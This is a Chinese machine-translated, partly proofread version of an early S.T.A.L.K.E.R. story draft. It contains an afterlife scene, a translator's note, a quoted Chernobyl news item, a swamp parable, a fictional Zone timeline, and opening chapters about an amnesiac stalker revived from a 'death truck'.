押送者穿着破旧的长袍,背上固定着一对愚蠢的秃翅膀(像波兰翼骑兵那样),戴着青铜头盔,装备着短直剑,看起来像某种轻歌剧中的古罗马军队。他们筋疲力尽,恼怒到了极点。一个在信号发出时迟疑的学生,直接被踩进泥里,而押送队首领米哈伊尔只是嘲讽地看着他部下的行为。

“他们要赶我们去哪?”知识分子热切地对着他的耳朵低声说,一只手把血和鼻涕抹在脸上,另一只手本能地护着“私处”。

他漠不关心地耸耸肩。他完全不在乎被赶去哪;完全不在乎他们立刻被扒光;完全不在乎这里一直在下着细小而讨厌的雨;完全不在乎他们光着脚在软烂的沼泽泥里踩……

“您看起来像有文化的人,”知识分子又咯咯地叫起来,“您应该理解我……难道……”

“活着就能看到,”他说了一句,只是为了甩掉知识分子。

然后他们再次像羊群一样被赶入黑夜,离开道路。

他们赤身裸体,这让大家平等。但尽管如此,即使在这里,命运也有自己的宠儿。

例如,代表。这个笨重的煽动家,有着野兽般的直觉,总能以某种方式避开惩罚,自从他与硬汉搭上后,连押送者都开始绕着他走。硬汉本人成了他们与警卫之间的纽带。一旦出现冲突,硬汉的身影立刻出现在旁边。圆圆的脑袋,仿佛长在肩膀上,有点口齿不清:

“嗯?!怎么回事?要什么?谁错了?这个?!我们怎么办?”

押送者只能鄙夷地咧嘴笑。

副主任、经理和银行家仿佛在等待他们的时刻。最令人惊讶的是,他们似乎坚信这个时刻一定会到来。

与他们不同,他什么都不相信。

“听着,”学生用紧张的声音说。“他们无权这样对我们!他们要赶我们去哪?去屠宰?”

“谁需要你,吹口哨的!”旁边阴沉地走着的工人说。

“你们自己,”学生顶嘴,“你们就知道灌酒……”

“这儿能灌什么!”工人哼了一声。“只有雨水。”

“是啊,”农夫附和,恶狠狠地挠着腋下。“而且已经几天不给吃的了。而给你,学生,是活该,谁让你出头。”

“朋友们!”知识分子喊道。“别吵了,也许一切还没那么糟……”

“队伍里不准说话!”米哈伊尔冷漠地吼道,立刻,硬汉出现在知识分子旁边,给了他一记响亮的耳光。工人恶狠狠地瞪了他一眼,但没说话。

押送者突然活跃起来,像嗅到熟悉的马厩的马。他们更加忙乱,他们愚蠢的戏剧翅膀在风中飘动。果然,不久前方清晰地看到火光。

它越来越亮,大约二十分钟后,他们没有减速,就这样走进了终于到来的白天。

旅行的目标是一个巨大的广场,前面是独眼巨人般的墙。墙的一边撑在地上,其他所有方向,墙显然是无限的。

他们被排成一路纵队。他前面是硬汉,后面是吹着哨子喘息的知识分子——然后被加到一个已经在广场上站着的同样多人的纵队的队尾。

米哈伊尔沿着纵队跑,一边跑一边机械地重复:

“别白张嘴。回答问题简短明确,最好是‘是’或‘不是’……别白张嘴……”

其余的押送者活跃起来,脸上露出甜腻的微笑。翅膀上的羽毛干了,连头盔上的铜绿也不知怎么褪去了,而他们每个人手里现在都拿着一根某种植物的枝条。

他又哼了一声。普通的作秀。显然,他们很快要去见当地长官。他漠然地环顾四周。广场上,沿着墙,排着数百个纵队。到处都站着赤裸的人,如此不同又如此相似。

墙上有许多门,人们被成百地塞进去,但新的队伍又加入了队尾,队伍不见减少。

“天哪,难道这就是我所想的,”知识分子热切地对着他的后脑勺低声说。

“正是,”他恶毒地说。

大约第七天(该死的太阳!),他们终于被赶进了墙内。

穿过昏暗空旷的走廊后,他们被带进一个宽敞明亮的大厅。大厅的远端摆着一张巨大的办公桌,堆满了文件,桌后面坐着一个头发全白的老人,目光锐利而疲惫,褪色的蓝眼睛。

米哈伊尔急忙跑到桌前,把又一摞文件倒在桌上。老人厌恶地开始翻看,用指尖一张张地抽出。

他们挤成一堆,仿佛感觉到这一刻的重要性,甚至暂时获得了某种统一。

老人疲惫地叹了口气,米哈伊尔立刻恭敬地弯下腰,急忙低声说:

“也许,整个名单?”

但这时,老人身后的墙上打开了一扇暗门,一个黑发男人微微瘸着腿走进大厅,他全身裹着黑色的、发硬的皮衣。

米哈伊尔做了个鬼脸,像吞了一小杯醋。

黑发男人不理他,径直走向老人,也往桌上放了一张纸。

老人飞快地扫了一眼,不耐烦地吱吱说:
“又来了!”

“您知道。扩大生产需要相应的原料和资源,”黑发男人平静地笑着说。“此外,这三个我留给你们,”黑发男人随便用手指点了点名单。

“好吧,”老人叹了口气。

“还有……”黑发男人意味深长地说,弯下腰对老人耳语了什么。

“啊,这样!”老人扬了扬眉毛。“一定要亲自处理这个问题。这至关重要!”

老人龙飞凤舞地签了黑发男人的文件,并在给米哈伊尔的小纸条上草草写了点什么。

米哈伊尔默默地拿起他的纸条,仿佛那是一颗拉了环的手榴弹,并向他的手下做了个手势。

立刻,三个人被从人群里分出来:副主任、银行家、经理。他们不回头看其他人,骄傲地跟在米哈伊尔后面。

黑发男人用冷漠的目光扫了他们一眼,所有人都感到一股寒意。像梦游者一样,他们向黑发男人进来的那扇门走去。又是在空荡荡的黑暗走廊里走了很久,然后停在一部巨大电梯的门前。

代表试图张嘴,但黑发男人只是看了他一眼,他就那样张着嘴僵住了。

“请!”黑发男人嘲讽地咧嘴一笑,指着电梯门。

所有人顺从地挤了进去。与黑发男人目光接触很不舒服,但他没有感到恐惧。当大多数人都进去后,他也迈了一步,准备跟着进去。但突然,他听到身后一个嘲弄的声音:

“而您,我请求您留下。”

他颤抖了一下,不由自主地回头。黑发男人用手指向他招手。

“那么,您既不感到恐惧,也不感到敬畏?”黑发男人看着他问,好像在看他广阔收藏中的一个新展品。

他默默地耸耸肩。

“好吧,”黑发男人咧嘴笑了,这笑容使他不由自主地打了个寒颤。“那么,我没看错。我为您准备了一个惊喜。”

黑发男人能用什么让他惊讶:沸腾的沥青?其他什么中世纪的东西?

突然,他全明白了:

“不!!……”

“是!”黑发男人无情地打断。“他想要沥青……想轻易脱身?!现在立刻回去!!!”

已经沉入某处逐渐消失的意识的黑暗,他想:

“天哪,难道又要重新开始?为什么,天哪?!下地狱也比回去强……”


1. 又是路……

夜。

……偶尔天空被电光撕裂……

一辆卡车无声地从山丘上驶下……

……在又一次闪电中,可以看到驾驶室是空的,车厢里堆满了密封棺材的板条箱。

……大风暴开始了……

……小卡车开始不可阻挡地解体……

……棺材向四面八方飞去,部分棺材破裂,尸体从里面掉出来……

卡车的残骸燃尽,大风暴平息……天开始慢慢亮起来。

突然,一个躺着的人呻吟一声,睁开了眼睛……

“我叫安东·戈德伯格,”他用略微嘶哑但清晰的声音说。“我知道我是谁,现在该做什么。现在我想起了一切!”


“你好,蛤蟆!”

“你还是活下来了。走运,”蛤蟆在此期间老了。“而我呢,在打包,该继续走了。虽然,往哪走……”

安东平静地看着这个微不足道的人在忙活。

“特异区完全疯了,”蛤蟆说,“而且这里的人也不一样了……有人老了,有的不在了,而新的……有时让人惊呆。我不理解他们。不,该退休了,稍微称王称霸一下就够了。马上,马上……我感觉到你会来,我给你准备了一个东西,小伙子们在一个地下室里找到的……从外面看是火焰喷射器,但吐的是凝胶……”

“你夜里不做关于死人的梦吗?”戈德伯格问。

“不。你呢?”

“关于那些曾经从城市来到这里的孩子们,你知道些什么?”戈德伯格不回答,继续提问。

“我们都是特异区的孩子。”

“也许你说得对,”戈德伯格说。“再见。”

“等等,我想问:你想起来了,嗯,那个……你想要的?”

戈德伯格在门口转过身,若有所思地点了点头:
“也许吧,”然后沉默了一秒,补充道,“也许没有。”

“怎么会?”蛤蟆甚至紧张得张大了嘴,试图领会这句话的意思。

但戈德伯格只是咧嘴笑了笑,离开了掩体,留下蛤蟆独自困惑。


……发生质变,恒星变成了黑洞。

坍缩开始了!它可能会持续永远。

现在所有试图穿透坍缩现实的尝试都是徒劳的。

在他“又一次诞生”期间,特异区发生了变化。异常点的斑点几乎合并成一个巨大的斑点。只剩下狭窄曲折的通道,介于这些试图合并的区域之间,它们的图案类似于大脑皮层的表面。也许特异区就是这个肥大的大脑,以所有居住在其上的生物的记忆为食。生物本身也发生了变化。现在,这里占主导地位的是变种,它们在异常区内比在异常区外感觉舒适得多。感觉在他上次乘坐死亡卡车旅行期间,一代已经更替了。你看,蛤蟆也成了不合时宜的东西。他在说着什么“新”人?

安东小心翼翼地移动,仔细观察着周围的风景。他认出了一些,也认不出一些。恢复的记忆让他能比较相当清晰的画面,因为他很可能是第三次来这里了。第一次,当他从蚁巢来时。那时,特异区在他眼中是处女自然的绿洲,他在其中看到了那个视野边界的世界。第二次,在他第一次乘坐死亡卡车之后。这两次有一个共同点:他都是在记忆被清空的情况下进入特异区的。第一次是有意忘记过去;第二次是被特异区彻底抹去记忆。现在记忆在他身上,只是蒙上了一层薄雾,仿佛一切都没有明确联系。他感觉到,突然涌向他的所有信息,在包含真实时刻的同时,也包含了虚幻的时刻。

这是那个农场,他第一次在那里看到瞎狗。奇怪的是,这个农场现在似乎有人居住。花园里有人试图整理。令人惊奇的植物——他以前没见过——有点像矮椰子树。房子旁边建了一个围栏,里面有一头年轻的变异野猪在徘徊。

“喂,主人!有人吗?”

“你叫什么叫,像闻到了新鲜血液的吸血鬼?”

安东差点习惯性地朝声音开枪。他转过身——旁边站着一个驼背,要么是老人,要么天知道是谁。身体瘦小,手像猩猩一样,结着痂,布满青筋,好像皮下植入了外骨骼。头上戴着兜帽,遮住脸直到下巴,有眼缝。缝隙中的眼睛闪烁着红光。声音颤抖,像是合成的。

“你瞪什么眼?”小怪物拿着一个类似从镰刀改成的剑的东西。“你该不会是那些……天使吧?”

“不,”安东咧嘴笑了,“也许是堕落天使。”

“你别咧嘴笑,”小怪物顶嘴,他的眼睛闪着光。“他们想用火灭我们,而我们用血浇他们的火刑……”

“你们这么勇敢,是从哪来的?”

“从北方。”

“这么说,从北方。也许你还见过电站?”

“看它干什么,它就在那儿,像个金字塔。我们这些男人没进去过,谁知道里面有什么烂东西,从旁边绕过去了。”

“那再往北呢?”

“那里……土地还是土地,只是没有生命!”

“这么说,这里更好?”

“对谁而言,”小怪物哲学地说。

“像你们这样的人多吗?”

“揍你一顿的人够多了。”

安东又笑了笑,温和地说:
“好吧,集体是伟大的力量,”然后没忍住,补充道,“尤其是当大自然剥夺了你们智慧的时候。”

“什么-什么?”小怪物激动起来。

但安东默默地耸耸肩,向北走去。

小怪物又盯着他的背影看了一会儿,好像在掂量要不要把粗糙的剑插进安东的肩胛骨之间。但后来,显然,天生的吝啬占了上风(总不能为每个陌生人都准备砂轮吧!),他转过身,轻轻吹了声口哨,从杂草丛生的地方,也有人回应了口哨,然后口哨像回声一样在农场不同角落重复。安东已经走远了,无法估计那些口哨者的数量,他们确实可以集体揍任何人。

路边的杨树……没有叶子……或者它们变形了,变成了像一簇簇黑色的苔藓,像痂一样垂到地上,树皮开裂,裂缝中可见棕色的粘液,像凝固的血。田园诗般的湖泊,同样是田园诗般的,但现在游泳的不是美人鱼,而是一个肿胀的军人尸体,气体膨胀得如此厉害,甚至连沉重的外骨骼都没能阻止他浮起。而苍蝇虽然成群飞行,形成巨大的嗡嗡龙卷风,但动作懒散,当两只苍蝇靠近时,它们之间会闪过电火花。

此外,安东现在清楚地记得关于滴答的淹死鬼的传说。据说在满月时,它会从黑色深处浮上水面,滴答作响,好像在倒计时这个世界剩下的时间……


2. 又是路……

做个白痴真好!他完全不在乎他看到的是否真实,或者只是被他的感知扭曲的无限维现实的投影之一。

安东

特异区之子 P1

《特异区之子》是 GSC Game World 的游戏《潜行者:切尔诺贝利的阴影》在 2003 以及之前的早期开发版本《潜行者:遗忘之都》的剧本原型。
随着开发转型,《遗忘之都》的许多设定包括大量的剧情被抛弃。但是在大概 5~6 年之后,这些原先的剧本被重新整理并发布在一家俄语杂志上:

俄文第一部分,也就是《潜行者:遗忘之都》的原型

俄文第二、三部分,这部分就是作者鬼脑启动,映射现实(但也不知道在说什么)

本文是该杂志的中文翻译版本,由 DeepSeekV4 完成,本文包括大量虚构内容。手动进行了部分的精校验工作,以及有提示性的注释。

Ps:DeepSeek 原文特别喜欢用“嘟囔”这个词,我tm小学都不用了,完全破坏了原本的恐怖和神秘主义氛围,搞的跟到特异区郊游一样。

背景

切尔诺贝利灾难的后果

1986年切尔诺贝利核电站灾难的后果至今仍是研究的重点。

由约翰·乌尔克瓦特教授领导的一组英国研究人员得出结论,放射性云层的飘移可能影响了包括英国在内的许多欧洲国家居民的健康状况。

科学家们分析了英格兰和威尔士的儿童死亡率和发病率数据。发表在《新科学家》杂志上的一篇文章指出,在放射性云层经过后的36个月里,这些地区的儿童死亡人数比平均水平多出200人。同时,儿童各种严重缺陷(包括唐氏综合症)的病例比平时多记录了600例。

通过分析1983年至1992年的儿童死亡率和先天性缺陷数据,乌尔克瓦特教授的研究小组确认,所有异常都集中在与切尔诺贝利云层相关的地区和时间段。

基于这些数据,他们得出结论:切尔诺贝利灾难甚至对像英国这样远离事故地的国家也造成了严重后果。可以推测,关于切尔诺贝利灾难负面后果的新研究很快就会出炉。

瓦西里·布勃诺夫,
PRAVDA.Ru,
2002年6月27日


序言

Nihil sequitur ex geminis particularibus unquam.
(从特殊的前提推不出普遍的结论。)
——三段论构成第八规则


一分钟后就全结束了。只有一只手痉挛地伸向天空那盲目的白斑,停留了一瞬,像无名英雄墓上的方尖碑,标记着不久前快活鬼坐着的地方。但沼泽发出了一声沉闷、腹鸣般的吧嗒声,手便随着其余部分慢慢消失在了深渊中。

“完了,”斜眼冷漠地咕哝道,“笑够啦,可怜的家伙……”

“你高兴了,混蛋?”胖子同样漠然地哼了一声,同时尽可能不引人注意地检查着自己脚下的草墩是否牢固。

“当然高兴,”斜眼毫不掩饰地嘲笑,“等你沉下去我也高兴,等所有其他人都开始吐泡泡,我就跳舞唱下流歌。”

“你指望比我们所有人都活得长?”隐士仰面躺着,毫无想法地望着灰色的天空——快活鬼临死前的顿悟曾那样痛苦地指向那片天空。

天空暗淡、愚蠢、毫无意义,像疲惫白痴的眼神。

“那当然,”斜眼开心地回应,“否则活着还有什么意义!”

“可我们压根就没在活着,”小土墩几乎只比沼泽高出一点点的唠叨鬼说话了。

“啊,唠叨鬼可没多少时间了,”胖子几乎同情地想,满意地审视着自己的草墩,上面至少还能再容下两个像他这样的胖子。“是啊,我们的唠叨鬼不是个活人了,肯定的!”

“这又是为什么,告诉我,我们怎么就没在活着?!”斜眼突然对唠叨鬼发火。

“他干嘛非要跟他过不去?”胖子摇摇头。“没看见那家伙就剩几个钟头了嘛……”

“生活是艺术!”隐士哲学地说。“而艺术只能主观地评判……”

“是啊,”坐在自己草墩上的粉刺发出吱吱的声音,他无忧无虑地睡过了快活鬼的死,现在正急着补上。“生活是个东西……有时候你活着,平静地活着,积攒财富,突然——砰!有时候反过来……”

“怎么反过来?”斜眼没明白。

“就这样,”粉刺打着哈欠平静地回答。“好像压根没活过,可一看——已经掉进沼泽了!”

“常有的事,”隐士冷漠地确认。“我们这儿就有过一个叫伶俐鬼的……你们没赶上。他总是瞎忙活,瞎忙活……收拾他的草墩。说等收拾好了就开始生活……突然砰的一声——他从北边加固的时候摔下去了。只咕嘟了一下告别,就完了。现在他的草墩上住着高个子。”

“这不就住着呢,”高个子恼怒地咕哝,“那又怎样?你们难道希望我也跟着伶俐鬼咕嘟下去?想得美!”

“你们老絮叨什么呢,”胖子平和地小声说起来,“活着没活着,咕嘟没咕嘟,主观客观……我们总有一天都会咕嘟掉。重要的是,在咕嘟之前别互相糟蹋神经!有地方睡——好!有东西吃——棒!这是客观的。其他都是……沼泽。”

“反正我要走!”唠叨鬼固执地说。

“你往哪走?!”胖子心想,甚至为自己想法的语气感到羞愧。“还没人能从沼泽走出去呢……”

“又没人留你,”斜眼不耐烦地哼了一声。

“可也没人赶你,”隐士淡漠地补充。

“不过也没人会失去什么,如果你不在了……”胖子心想,又感到羞愧。

“反正我要走!”唠叨鬼几乎喊了出来。“不能就这样……一辈子……在草墩上……”

“能,”隐士说着打了个哈欠。

“应该!”斜眼恶狠狠地擤了擤鼻子。

“总比陷在沼泽里强,”粉刺懒洋洋地挠着身子总结道。

胖子本想说什么……但他对此感到更加羞愧,于是把所有想法都赶得远远的……

“反正我要走,”唠叨鬼伤心地说完,转过身去。

他脚下的草墩变得非常小了。

胖子躺下,以便看不到那个小草墩,努力想睡着……

当胖子醒来时,唠叨鬼那个直径不超过半米的小草墩空无一人。

不清楚:是唠叨鬼真的走了,还是更可能只是咕嘟了。

又能从沼泽走到哪儿去呢!

没有一个人再提起唠叨鬼。

胖子不久后也忘记了他。

只有一天夜里,胖子觉得他听到了唠叨鬼轻柔悲伤的声音。那正好发生在粉刺夜里睡着从草墩上摔下去咕嘟掉、而高个子搬到他的草墩上去之后的那天。但到了早上,自然什么唠叨鬼也没有……

后来高个子也咕嘟了……

还有那个希望活得比谁都长的斜眼,也跟着咕嘟了。

当轮到隐士的时候,他私下向胖子承认,唠叨鬼确实来过。他喘着气说,再走两天沼泽就到头了,那边好像全是干硬的陆地……

但隐士当时不相信他,而且为了不让唠叨鬼用他愚蠢的谈话搅扰任何人,隐士在天快亮的时候把唠叨鬼……淹死了。

他做得对!

四周都是沼泽!只有沼泽!

没有,没有任何别的东西!!!

让他唠叨鬼见鬼去吧!他一直是条蛆!总是说个不停,同时自己还在那儿想什么……

可这儿……草墩眼看就小得不行了——随时都会咕嘟掉!

难道他,那个混蛋,是对的吗?

我根本就没活过?!!


第一部分

黑石的诅咒

我们的人生——是露珠。
哪怕只是一滴露珠
我们的人生——也仅此而已……
——一茶


1975年。乌克兰。基辅。 在一家研究控制问题的知名研究所里,成立了一个不起眼的第15号实验室。其中一名员工是某个叫维克多·克里沃舍因的人。

没人确切知道实验室在做什么,所有研发成果都被列为“绝密”,但众所周知,它消耗的电力几乎比整个研究所其他部门加起来还多。

一些怀疑论者声称那里什么也没有,保密就像其他大多数保密设施一样……只是为了以防万一。


1986年。 今年在乌克兰发生的可怕灾难震惊了世界。它的回响甚至传到了那些以前从未听说过乌克兰的国家。切尔诺贝利核电站事故。既可怕又诡异。事故发生后,这种反应堆的设计师之一突然开枪自杀,尽管他对自己设计的可靠性绝对有信心。官方的事故原因是违反安全规定,但是……重复安全系统,为什么它们会被关闭?电站工作人员坚持说他们是按照指令行事的。电站里究竟发生了什么:计划内维修还是计划外实验?为什么那位院士会自杀?

电站周围三十公里区域被宣布为隔离区。损毁的反应堆被混凝土石棺覆盖,生态环境似乎稳定了下来……


1996年。 基辅部分居民中出现了无动机的狂热行为。“灰兄弟”走上街头。所有对抗“兄弟”行动的尝试都失败了,“灰僵尸”被警察运走,关于他们后来的命运,所有人“迅速”忘记了。 “兄弟”的“父亲”是我们的老熟人,第15号实验室的普通员工——维克多·克里沃舍因。而此时实验室的其他员工在哪里呢?研究所由于缺乏资金基本上已停止存在。最优秀的专家为了谋生而各奔东西……


2001年。 开始流传顽固的谣言:石棺不稳定,通过形成的裂缝不时发生泄漏……为了安抚公众舆论,组织了进入该区域的大规模观光游览。但一连串轰动的丑闻突然转移了所有人的注意力。一位知名记者失踪了。调查陷入僵局,不知为何没人试图查看他的调查报告材料——那些材料中可能藏着整个事件的根源……是不愿意?还是无法察觉到联系?

更何况,负责切尔诺贝利区域的内务部将军自杀了。电视上顺带提了一下,然后又沉默了……用于消除事故后果的资金不知去向。这事又“不了了之”……有趣的是,西方媒体也同时对这个问题的兴趣消失了。而且始终不清楚,西方伙伴承诺的消除事故后果的资金是否到位。关于承诺大家突然一起忘记了。而乌克兰民众令人惊异的冷漠,这难道是自然的吗?此时第15号实验室的前雇员们又在哪里?


2004年。 特异区活跃起来了……据说大风暴更加频繁。奇怪的是,没人思考石棺下可能发生的过程,那里长时间容纳着如此大量的核燃料。这是普通的人们的粗心大意,还是对某人有利?为什么大家不断“忘记”?毕竟如此大规模的“实验”从未在任何地方进行过,理论计算可能没有考虑到量变到质变这种现象……

公众的注意力再次被与选举下一任总统有关的动荡事件所转移。而选举本身进行得如此之快,以至于开始隐隐约约让人想起什么……于是开始流传关于某种发射器的谣言,有人想起了“灰兄弟”……交通部长自杀了……自杀了?!首都居民中弥漫着奇怪的欣快感……记忆出了点问题:事件、承诺、事实,一切都被迅速忘记,尤其是坏事……有些人开始陷入无动机的狂喜……

冷漠又悄悄爬了上来……


2005年。 在空旷、被遗弃、几乎被遗忘的普里皮亚季城的夜间街道上出现了奇怪的动物。开始收到关于在区域内及周边村庄人员失踪的第一批报告……

但国家完全被政治权力的重新分配所吞没,伴随着由此产生的所有其他重新分配……狂喜在增长,那些记得昨天事情的人被投以怜悯的目光……


2006年。 在普里皮亚季一辆载有外国游客的巴士(当时正给他们展示“一切尽在掌控”)失踪后,该区域被完全禁止访问(但试图迁走邻近地区居民的尝试失败了——人们不想离开自己居住已久的地方)。对旅游团失踪的长期调查没有任何结果。不过,这也没什么奇怪的。大家已开始慢慢习惯,在乌克兰最“轰动”的案件至今悬而未决。所有人继续“积极地忘记一切”……政治激情“淹没”在日常琐事中,欣快感被冷漠取代……

封闭区域附近的居民对日益频繁的地下震动感到恼火,但不知为何却责怪当地政府……

秋天出现了规律的晨间飓风。大约早上6点,一阵可怕的风刮起,持续大约一分钟,然后瞬间平息,留下连根拔起的树木和破碎的玻璃。


2007年。 切尔诺贝利区域上空突然出现了极其明亮的光晕。但那不是核爆炸。在一片寂静中,奇怪的蓝光笼罩了巨大区域。一瞬间,特异区的直径扩大了一倍,这意味着面积增加了四倍多……

政府军完全包围了特异区,并将该地区严密封锁……

邻近村庄和城镇的居民被紧急疏散……大多数当地人记不清自己住在哪个国家……首都的人们仍然处于令人惊异的“遗忘”中,奇怪的是,他们更关心社会动荡和财产的不断重新分配……国家预算显然无法承受如此剧烈的冲击,这开始迅速影响本已不尽人意的总体生活水平……更别提来自邻近地区的移民了……


2008年。 特异区吸引了越来越多的人。在周边城市生活迅速而奇异地退化的背景下,特异区成为了另一种生活神话的源头。抗议浪潮席卷了城市,扫荡了理性的残余,摧毁了腐朽的基础和传统……任何封锁线都无法阻止人们试图“进入特异区”。他们中有各种冒险家、孤胆科学家、武装部队代表,以及各种“爱国者”和“环保人士”。从今年起,特异区由“白盔”守卫。但领土如此之大,想进入特异区的人如此之多,而守卫它的人又如此冷漠……更何况,在特异区周边的城市里正在发生着那样的事情……

黑市上出现了各种稀奇古怪的东西,通常是外观普通但具有惊人新特性的物品。

特异区附近村庄的居民有了一种新职业——潜行者,这个词在它出现的先决条件形成之前很久就在文学中被描述过了——其专长是在特异区内获取奇怪的物品、装置和……各种文件,然后可以卖给众多对此感兴趣的人。不知为何,这些文件的需求很高,主要来自外国人。尽管对事件的总体兴趣非常低,明显近乎病态。最常见的情况是,所有人都漠不关心,包括“白盔”代表,甚至所谓的公众舆论也突然不知去向了……大多数轰动案件的结局仍然未知,我们的老熟人克里沃舍因的命运也无人知晓……周边城镇的所有儿童突然消失了……


2010年。 基辅局势不稳……而且那已经不是基辅了……矛盾、累积的怪异和普遍的不恰当似乎达到了顶峰……


2013年……


1. 引言

夜。黑沉沉,无月光。只有冰冷的星瞳冷漠地凝视着空间。这样的夜晚在任何城市都看不到。适度南方,但不是热带——闷热,带着一种稳重的北方冷漠。地平线远处闪烁着淡蓝色的幽灵光晕,偶尔天空被电光撕裂,但这使得黑暗更加浓稠。声音在空间中凝固。寂静因此显得紧张,仿佛人为制造。

从山丘上,一辆熄了前灯、关了引擎的卡车在坑洼上轻轻颠簸着,缓缓、几乎是无声地驶下。当它开近时,在又一次闪电中可以看到驾驶室是空的,车厢里堆满了密封的棺材板条箱。突然,之前微弱脉动的光晕“爆炸”了,天空裂开,沸腾的凝结空间云团开始疯狂的舞蹈——穿过电站第四机组残骸下破败开裂的石棺,一次大风暴开始了。电光越来越频繁地劈下,疯狂地试图消灭周围一切有生命的东西。一道闪电击中了卡车。小卡车跳了起来,汽油燃烧起来,卡车轰隆一声开始不可阻挡地解体。燃烧的碎片和棺材向四面八方飞散。

部分棺材破裂,尸体从里面掉了出来。

每具尸体的迷彩服袖子都卷起一只,手臂上可见纹身,但在火焰不安的光芒中,无法看清上面纹的是什么……

大风暴平息,卡车的残骸燃尽。天开始亮了。

一个穿着和尸体一样制服的人从旁边用习惯的小跑跑过。胸前,步枪随着跑步的节奏有规律地晃动着。这是“潜行者”——特异区的原住民。

他放慢脚步,警惕地靠近散落的破棺材,用靴尖推了推第一具、第二具尸体。然后熟练而习惯地搜了他们的身……突然,其中一具躺着的人呻吟一声,睁开了眼睛,眼神空洞而毫无意义。

潜行者弯下腰,看着“复活”的尸体。

“瞧你,这家伙好像还活着。可他们都说‘死亡卡车’里全是死肉。看来这小伙子是第一个走运的!虽然这还有待商榷,”潜行者打量着脚边的身体咧嘴笑了。“还得看看他是走运了,还是过两天就会后悔没死成。”

潜行者若有所思地看着躺着的人,好像在掂量要不要现在就一枪崩了他,但后来似乎做出了不同的决定。

“我把他交给蛤蟆吧。为了这半死肉,他会给我付‘全价’的!”

潜行者把复活了的死人扛到肩上,再次跑起来。那种习惯而常规的跑法,好像扛着这样的负重越野是他每天已经相当厌倦的工作……

他的目标是一栋半毁、毫不起眼的建筑,但里面有一个相当舒适的地下室。几乎所有特异区的原住民都知道,那是外号“蛤蟆”的商人的巢穴。商业是一种不亚于卖淫和新闻的古老职业,要专业地从事它,必须具备相似的道德原则。

巢穴陈设简陋。在肮脏的墙上,半裸美女的图片(从杂志上随手撕下的)像不自然的亮斑一样突出。在这幅欢快拼贴画的正中央,有一张海报,上面是田园般的冬日景色、小圣诞树和文字——“2013年新年快乐!”同样不自然的是这里摆着一个破旧的餐具柜,里面放着大小不一的餐具和一套锅、煎锅、砂锅。餐具的多样性说明主人吃喝方面不差。在墙角的墙边放着巨大的瓶子,用塞子塞住,带有“水封”,家酿啤酒时不时满足地咕嘟、吧唧、小声说……天花板下一盏淡黄色的灯泡闪烁着,灯罩是一顶在头顶打了孔的军盔。窗外,被酸蚀坏的花窗帘半掩着,黎明微弱地透进来。蛤蟆本人坐在桌边吃着什么,邋遢地吧唧着嘴,用袖子擦着他那张肥腻发亮的脸。

门砰地打开——门槛上站着扛着发现的潜行者。

蛤蟆头也不抬,不满地小声说:
“又是个标记过的?”

“你要知道我在哪儿找到他的……”潜行者平静地回答。

“那在哪儿?”蛤蟆依然漠不关心。

“他来自‘死亡卡车’。”

蛤蟆把啃了一半的骨头掉在桌上,抬起眼睛看着潜行者,但不相信地小声说:
“撒谎!”

“让我下次大风暴时去死吧!”

“好吧,把他弄过来,”蛤蟆说着,把桌上所有东西扫到地上。

蛤蟆搜了那家伙的身。所有口袋都是空的。只有一个便携式电脑,日记部分所有记录都被擦除了,只剩一条:“杀死史特烈洛克!!!”

“我可以为他付出……”蛤蟆若有所思地小声说。

突然,半死人用他那纹身的手紧紧抓住商人的手,夺回自己的便携电脑,再次失去知觉。

纹身的手臂把便携电脑紧贴在胸口,现在清楚而清晰地可以看到纹着的字——“S.T.A.L.K.E.R.”(潜行者)。


2. 第1层 – 教程 – 认识特异区

在白天的光线透过舱口微微照进地下室时,蛤蟆的巢穴显得更加阴森、破败和绝望。桌边坐着复活的死人——现在是他吃了,但有节奏而冷漠地,像机器一样,而蛤蟆站在旁边,双臂交叉在肚子上,若有所思地观察着过程。

最后,潜行者推开空碗:
“我该付你多少?”

“从你身上能拿什么呢……”蛤蟆挠着腋下,突然眨了眨眼。“再说你什么也记不清:你是谁,你在哪……而周围,孩子,是特异区!”

“我不是孩子,也不是你的!”

“还是我的!直到你偿还……食物和药品,还得武装你……至少开始……”

“你能给我什么武器?”无名潜行者生硬地打断蛤蟆。

“好吧,小子,一开始你凑合着用刀吧,”蛤蟆咧嘴笑了。“我还会给你一件斗篷,它防不了辐射,但对酸性物质和老鼠牙有用……这儿我们可不是在度假村……至于孩子——特异区会评判的!不过,如果你到现在还活着……”蛤蟆一边继续小声说,一边消失在隔板后面,从那里拿来并往桌上放了装备、一张地图残片和一把巨大的猎刀。突然,他一手按着刀,直视着无名潜行者的眼睛问:
“外号‘史特烈洛克’对你意味着什么吗?”

“不,”潜行者依然漠不关心。

“难道你不想知道周围在发生什么,以及你究竟是谁……”

“不想,”潜行者生硬地打断他,冷冷直视蛤蟆的眼睛。

“那好吧……”蛤蟆在目光对决中坚持不住。“一开始跑到封锁线去……这儿不远……送一个密封的小金属盒,放在铁丝网下面,地图上标了位置,从那儿取回另一个……别在当兵的眼皮底下晃悠,他们会装作‘不知情’,而且一定会考验你的皮实程度……怎么样,同意吗?”

“我有选择吗?”

“大概没有……”

“那就把你的盒子给我,结束这些心理治疗式的谈话吧……”

“我还有一个问题……”

“嗯?!”

“我怎么称呼你,潜行者很多……”

“你可以叫我尼莫,不过……既然你除了刀,暂时给不了我更好的东西,”无名潜行者苦笑了一下,“就叫我梅塞尔吧。”


梅塞尔爬出蛤蟆的地堡,停了一会儿。周围的景色是田园诗般的父权式。只有一丝荒废破坏了整体印象。还有……潜意识里有一种……似曾相识的感觉。就好像他以前来过这里。这很奇怪,因为倾听自己内心时,他只感到空虚,仿佛直到今天之前他根本不存在。

但加倍奇怪的是,这个事实并没有引起他丝毫兴趣,好像失去记忆的同时,他也失去了所有欲望。

“去他的多愁善感!从零开始生活吧。暂时。以后再看!”

梅塞尔用地图辨认了方向,把箱子扛在肩上,跑了起来。腿不听使唤,显然他还没恢复状态。而且他以前有过什么状态吗……

“见鬼,头晕!……航向右前方有奇怪的雾霾……或者只是我觉得有……景色倒是田园诗般的,只是看不到人……还有一些动物在废墟中潜行……像牛头梗。但好像……是瞎的……它们是不是感觉到了我……你看,警觉了……把脸转向了我这边……我得加快脚步,否则带着这把刀我最多只能关键时刻剖腹自尽……那边已经是封锁线了。最好躲在废墟里,偷偷观察那些当兵的。盒子应该就在那边某处……而这些当兵的无聊得要死,开始打老鼠了。但他们绝不离开封锁线!这倒好……”

梅塞尔弯着腰,穿过环绕封锁线接近地带的灌木丛,开始倾听和观察。他听到了零星的对话:

“红毛,检查一下那边那片灌木!短点射!”

“要不要向中尉报告?”

